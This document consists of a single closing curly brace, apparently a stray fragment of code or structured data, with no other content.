}